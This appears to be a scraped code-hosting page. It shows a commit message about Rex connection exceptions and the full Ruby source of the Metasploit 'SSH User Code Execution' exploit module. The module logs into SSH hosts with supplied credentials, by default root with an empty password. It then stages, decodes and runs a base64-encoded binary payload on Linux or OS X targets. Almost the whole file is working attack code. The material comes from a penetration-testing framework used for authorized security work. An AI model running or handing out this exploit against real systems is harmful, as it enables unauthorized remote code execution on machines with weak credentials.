6b4eb9a8e2
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically: 1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed 2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat ed to use InvalidDestination as that was the intention prior to this change. Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
134 lines
3.5 KiB
Ruby
134 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'net/ssh'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::CmdStager
|
|
|
|
attr_accessor :ssh_socket
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SSH User Code Execution',
|
|
'Description' => %q{
|
|
This module utilizes a stager to upload a base64 encoded
|
|
binary which is then decoded, chmod'ed and executed from
|
|
the command shell.
|
|
},
|
|
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '1999-0502'] # Weak password
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependFork' => 'true',
|
|
'EXITFUNC' => 'process'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'BadChars' => "",
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => %w{ linux osx },
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'Linux x64',
|
|
{
|
|
'Arch' => ARCH_X86_64,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[ 'OSX x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'osx'
|
|
}
|
|
]
|
|
],
|
|
'CmdStagerFlavor' => %w{ bourne echo printf },
|
|
'DefaultTarget' => 0,
|
|
# For the CVE
|
|
'DisclosureDate' => 'Jan 01 1999'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
|
|
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
|
|
OptString.new('RHOST', [ true, "The target address" ]),
|
|
Opt::RPORT(22)
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
vprint_status("Executing #{cmd}")
|
|
begin
|
|
Timeout.timeout(3) do
|
|
self.ssh_socket.exec!("#{cmd}\n")
|
|
end
|
|
rescue ::Exception
|
|
end
|
|
end
|
|
|
|
def do_login(ip, user, pass, port)
|
|
opt_hash = {
|
|
:auth_methods => ['password', 'keyboard-interactive'],
|
|
:msframework => framework,
|
|
:msfmodule => self,
|
|
:port => port,
|
|
:disable_agent => true,
|
|
:config => false,
|
|
:password => pass
|
|
}
|
|
|
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
|
rescue Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
fail_with(Failure::Disconnected, 'Timed out during negotiation')
|
|
rescue Net::SSH::AuthenticationFailed
|
|
fail_with(Failure::NoAccess, 'Failed authentication')
|
|
rescue Net::SSH::Exception => e
|
|
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
|
end
|
|
|
|
if not self.ssh_socket
|
|
fail_with(Failure::Unknown)
|
|
end
|
|
return
|
|
end
|
|
|
|
def exploit
|
|
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
|
|
|
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
|
|
execute_cmdstager({:linemax => 500})
|
|
end
|
|
end
|